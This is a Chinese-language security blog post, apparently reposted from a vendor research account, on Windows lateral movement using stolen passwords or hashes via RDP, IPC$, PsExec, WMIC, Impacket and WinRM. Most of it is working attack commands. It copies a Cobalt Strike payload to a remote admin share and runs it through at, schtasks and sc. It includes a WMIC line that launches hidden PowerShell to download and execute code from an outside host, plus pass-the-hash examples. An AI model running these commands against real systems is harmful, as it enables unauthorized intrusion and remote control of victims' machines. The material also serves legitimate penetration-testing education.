横向渗透之Windows连接技巧

admin 2025年2月25日15:59:20评论17 views字数 8322阅读27分44秒阅读模式
        当我们获取到远程Windows的账户密码(明文或Hash),有哪些方式可进行远程连接?接下来我们对常见的方式进行简单的介绍。

 一、 RDP 连接 

RDP远程连接这是比较容易想到的连接方式,但动静比较大,容易被发现。
查看RDP服务是否启动:
C:UsersAdministrator>reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server
  fDenyTSConnections   REG_DWORD   0x0
        fDenyTSConnections 项的值为 0,则表明已启用 RDP;如果值为 1,则表明已禁用 RDP。
可通过命令启动或关闭RDP
开启
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000001 /f
RDP默认绑定端口为3389,但有时候会被修改为其他端口,我们可通过如下命令得知其修改后的端口
C:UsersAdministrator>tasklist /svc | findstr TermService
svchost.exe                   1308 TermService

C:UsersAdministrator>netstat -ano | findstr 1308
TCP    0.0.0.0:43389           0.0.0.0:0             LISTENING       1308
TCP   [::]:43389             [::]:0                 LISTENING       1308
UDP    0.0.0.0:43389           *:*                                    1308
UDP   [::]:43389             *:*                                    1308
横向移动
        在Windows系统存在远程桌面连接工具,Win+R组合键打开运行界面,输入mstsc命令,在打开的界面输入远程连接的IP地址、用户名和密码。

 二、 IPC

        IPC(Internet Process Connection) 共享"命名管道"的资源,是为了实现进程间通信而开发的命名管道。通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC是NT2000的一项新功能,可以在运行两个IP直接建立连接。在初次安装系统时是打开了默认共享的,即所有的逻辑共享(C、D、E……)和系统目录共享(Admin$)。
IPC$使用条件:
  • 开放了139、445端口;IPC$可以实现远程登陆,以及对默认共享资源的访问。开放139端口表示NetBIOS已经应用。通过139、445端口可以对共享文件和打印机的访问。

  • 目标开启文件共享;默认共享是开启了的,包括所有逻辑盘(C、D、E)和系统目录winnt或者windows(admin),可以使用net share 查看

C:UsersAdministrator>net share

共享名       资源                           注解

-------------------------------------------------------------------------------
C          C:                             默认共享
D          D:                             默认共享
E          E:                             默认共享
IPC                                        远程 IPC
ADMIN      C:WINDOWS                     远程管理
建立IPC$连接
C:UsersAdministrator>net use \192.168.111.7 /u:"administrator"  "密码"
命令成功完成。


C:UsersAdministrator>net use
会记录新的网络连接。


状态       本地       远程                     网络

-------------------------------------------------------------------------------
OK                     \192.168.111.7IPC    Microsoft Windows Network
命令成功完成。

C:UsersAdministrator>dir \192.168.111.7C$
驱动器 \192.168.111.7C中的卷没有标签。
卷的序列号是 2CB2-AB58

\192.168.111.7C的目录

2009/07/14  11:20   <DIR>         PerfLogs
2017/08/28  12:15   <DIR>         Program Files
2017/08/28  12:16   <DIR>         Program Files (x86)
2017/08/27  03:41   <DIR>         Users
2017/08/28  12:19   <DIR>         Windows
可以与目标系统建立一个映射盘
横向渗透之Windows连接技巧
        IPC$连接之后,我们上传恶意的程序,利用计划任务去执行该程序。计划任务用到的命令就是 at 和 schtasks这两个命令,at命令是windows自带的创建计划任务的命令,它在Windows Vista、Windows Server 2008及之后的操作系统以及不使用at命令了,转为使用schtasks命令。
横向移动
上传CS的payload
C:>copy artifact.exe \192.168.111.7c$
已复制         1 个文件。
查看系统的时间
C:>net time \192.168.111.7
\192.168.111.7 的当前时间是 2022/3/17 17:55:25

命令成功完成。
at定时任务
C:>at \192.168.111.7 17:57:00 c:artifact.exe
AT 命令已弃用。请改用 schtasks.exe。

新加了一项作业,其作业 ID = 1
静等上线
横向渗透之Windows连接技巧
删除at定时任务
at \192.168.111.7 1 /delete
schtasks定时任务的创建与删除
schtasks /create /s 192.168.111.7 /tn test /sc MINUTE /tr c:artifact.exe /ru system /f  #创建定时任务
schtasks /delete /s 192.168.111.7 /tn "test" /f       #删除定时任务
也可以利用sc来创建服务进程,sc主要用来对操作系统服务进行管理。
sc \192.168.111.7 create test binpath= "c:artifact.exe"  #创建服务
sc \192.168.111.7 start test   #启动服务
sc \192.168.111.7 delete test  #删除服务
相关工具使用
Impacket中的atexec.py
        Impacket中的atexec.py脚本,就是利用定时任务获取权限,该脚本的利用需要开启ipc$共享。这个脚本仅工作Windows>=Vista的系统上。这个样例能够通过任务计划服务(Task Scheduler)来在目标主机上实现命令执行,并返回命令执行后的输出结果。
下载安装
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 -m pip install .
进入examples目录运行
➜ examples python atexec.py administrator:密码@192.168.111.7 whoami
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task BhFkYJtJ
[*] Running task BhFkYJtJ
[*] Deleting task BhFkYJtJ
[*] Attempting to read ADMIN$TempBhFkYJtJ.tmp
[*] Attempting to read ADMIN$TempBhFkYJtJ.tmp
nt authoritysystem
PsExec
        PsExec 是一种轻型 telnet 替换,可用于在其他系统上执行进程,为控制台应用程序完成完全交互,而无需手动安装客户端软件。PsExec 最强大的用途包括在远程系统上启动交互式命令提示符,以及 IpConfig 等远程启用工具,否则无法显示有关远程系统的信息。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
已经建立IPC$连接,用如下语句可获得一个system权限的shell
PsExec.exe -accepteula \192.168.111.7 -s cmd.exe
没建立连接,可用如下语句
PsExec.exe \192.168.111.7 -u Administrator -p 密码 cmd.exe

 三、 WMIC

        WMIC是扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为此过程中不产生日志,所以WMIC越来越被攻击者所喜爱。利用WMIC可以信息收集、命令执行、持久化等操作。
        使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)。
wmic /node:IP地址 /user:用户名 /password:密码 WMIC命令
常见的WMIC命令
用户信息
wmic USERACCOUNT list brief
wmic USERACCOUNT get /?   #/?查看get能操作的参数
wmic USERACCOUNT get domain,name,caption 
wmic USERACCOUNT where name="Administrator" get domain,name,caption # where条件查询获取制定参数
进程管理
wmic process list brief                                         #列出所有进程
wmic process get name,executablepath                            #获取所有进程名称以及可执行路径
wmic process where name="artifact.exe" get executablepath       #获取指定进程可执行路径
wmic process call create "c:artifact.exe"                      #创建新进程
wmic process call create "shutdown.exe -r -f -t 60"             #根据命令创建进程
wmic process where name="artifact.exe" delete                   #根据进程名称删除进程
wmic process where pid="3241" delete                            #根据PID删除进程
服务信息
wmic service list brief
wmic SERVICE where name="test" call delete #删除test服务
共享管理
wmic SHARE list brief    #查询共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:test",0 #创建共享
wmic share where "name='TestShareName'" call delete     #删除共享
其他
wmic os get name,version,BuildNumber,SystemDirectory #查询目标系统相关信息
wmic PRODUCT get name,version #查看安装的软件
wmic STARTUP list brief #查询开机启动项
wmic qfe get Caption,Description,HotFixID,InstalledOn #查询系统中所安装的补丁
wmic FSDIR where "drive='c:' and filename='php'" get name #查找c盘下名为php的目录
wmic onboarddevice list brief #判断目标系统是否为虚拟机
wmic rdtoggle list #查看是否开启远程桌面 0代表关闭,1代表开启
wmic job list brief #计划任务
横向移动
1.直接用wmic创建进程,CS上线
wmic /node:192.168.111.7 /user:administrator /password:密码 process call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.88.14.114:80/a'))""
2.wmicexec
wmiexec是对windows自带的wmic做了一些强化,有如下一些工具
(1)Impacket的wmiexec.py
➜ examples python2 wmiexec.py administrator:密码@192.168.111.7
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:>whoami
desktop-4r3s9dqadministrator
也支持hash传递
python2 wmiexec.py [email protected] -hashes LM Hash:NT Hash
(2)wmiexec.exe
通过python impacket库实现的,生成的exe
wmiexec.exe administrator:密码@192.168.111.7
wmiexec.exe [email protected] -hashes LM Hash:NT Hash

四、 smbexec

smbexec可以通过文件共享在运程系统中执行命令。
利用条件:
  • 需要开启 c$共享

  • 开启445端口

横向移动
Impacket中的smbexec.py
➜ examples python smbexec.py administrator:密码@192.168.111.7
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:WINDOWSsystem32>whoami
nt authoritysystem

 五、 WinRM 

        WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
        Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
启动WinRM
winrm quickconfig  -q 或 winrm qc
查看WinRM服务,如果开启了5985端口,说明服务已经启动
C:UsersAdministrator> netsh http show servicestate

HTTP 服务状态快照(服务器会话视图):
-----------------------------------------------------

服务器会话 ID: FF00000620000001
  版本: 2.0
  状态: Active
  属性:
      最大带宽: 4294967295
      超时:
          实体正文超时(秒): 120
          耗尽实体正文超时(秒): 120
          请求队列超时(秒): 120
          空闲连接超时(秒): 120
          标头等待超时(秒): 120
          最小发送速率(字节/秒): 150
  URL 组:
  URL 组 ID: FE00000640000001
      状态: Active
      请求队列名称: 请求队列尚未命名。
      属性:
          最大带宽: 已继承
          最大连接数: 已继承
          超时:
              继承的超时值
          已注册的 URL 数目: 1
          已注册的 URL 数目:
              HTTP://*:5357/48432E7F-DA05-472B-A381-4D8C20C117D4/

服务器会话 ID: FF00000520000001
  版本: 1.0
  状态: Active
  属性:
      最大带宽: 4294967295
      超时:
          实体正文超时(秒): 120
          耗尽实体正文超时(秒): 120
          请求队列超时(秒): 120
          空闲连接超时(秒): 120
          标头等待超时(秒): 120
          最小发送速率(字节/秒): 150
  URL 组:
  URL 组 ID: FE00000540000001
      状态: Active
      请求队列名称: 请求队列尚未命名。
      属性:
          最大带宽: 已继承
          最大连接数: 已继承
          超时:
              继承的超时值
          已注册的 URL 数目: 2
          已注册的 URL 数目:
              HTTP://+:5985/WSMAN/
              HTTP://+:47001/WSMAN/

请求队列:
  请求队列名称: 请求队列尚未命名。
      版本: 2.0
      状态: Active
      请求队列 503 详细级别: 基本
      最大请求数目: 1000
      附加活动进程数目: 1
      进程 ID:
           3396

  请求队列名称: 请求队列尚未命名。
      版本: 1.0
      状态: Active
      请求队列 503 详细级别: 基本
      最大请求数目: 1000
      附加活动进程数目: 1
      进程 ID:
           9312
横向移动
使用winrs连接
客户端连接的话,也需要启动WinRM
通过Winrs连接,并获得交互式的shell
winrs -r:http://192.168.111.7:5985 -u:administrator -p:密码 cmd
通过Winrs连接,并执行命令
winrs -r:http://192.168.111.7:5985 -u:administrator -p:密码 whoami
参考文章:
https://mp.weixin.qq.com/s/utTFlVntyFBsFQeUf02OiA
横向渗透之Windows连接技巧

点个在看你最好看

横向渗透之Windows连接技巧

原文始发于微信公众号(山石网科安全技术研究院):横向渗透之Windows连接技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日15:59:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   横向渗透之Windows连接技巧https://cn-sec.com/archives/845005.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息